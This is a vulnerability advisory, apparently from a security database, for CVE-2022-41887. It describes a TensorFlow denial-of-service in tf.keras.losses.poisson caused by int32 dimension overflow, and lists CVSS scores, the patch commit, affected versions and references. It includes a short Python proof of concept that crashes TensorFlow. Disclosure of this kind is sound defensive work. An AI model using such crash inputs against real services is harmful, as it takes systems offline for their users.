7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.001 Low
EPSS
Percentile
40.2%
tf.keras.losses.poisson
receives a y_pred
and y_true
that are passed through functor::mul
in BinaryOp
. If the resulting dimensions overflow an int32
, TensorFlow will crash due to a size mismatch during broadcast assignment.
import numpy as np
import tensorflow as tf
true_value = tf.reshape(shape=[1, 2500000000], tensor = tf.zeros(dtype=tf.bool, shape=[50000, 50000]))
pred_value = np.array([[[-2]], [[8]]], dtype = np.float64)
tf.keras.losses.poisson(y_true=true_value,y_pred=pred_value)
We have patched the issue in GitHub commit c5b30379ba87cbe774b08ac50c1f6d36df4ebb7c.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1 and 2.9.3, as these are also affected and still in supported range. However, we will not cherrypick this commit into TensorFlow 2.8.x, as it depends on Eigen behavior that changed between 2.8 and 2.9.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Pattarakrit Rattankul.
CPE | Name | Operator | Version |
---|---|---|---|
tensorflow-gpu | lt | 2.10.1 | |
tensorflow-cpu | lt | 2.10.1 | |
tensorflow-gpu | lt | 2.9.3 | |
tensorflow-cpu | lt | 2.9.3 | |
tensorflow | lt | 2.10.1 | |
tensorflow | lt | 2.9.3 |
github.com/advisories/GHSA-8fvv-46hw-vpg3
github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/cwise_ops_common.h
github.com/tensorflow/tensorflow/blob/master/tensorflow/python/keras/losses.py
github.com/tensorflow/tensorflow/commit/c5b30379ba87cbe774b08ac50c1f6d36df4ebb7c
github.com/tensorflow/tensorflow/security/advisories/GHSA-8fvv-46hw-vpg3
nvd.nist.gov/vuln/detail/CVE-2022-41887
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.001 Low
EPSS
Percentile
40.2%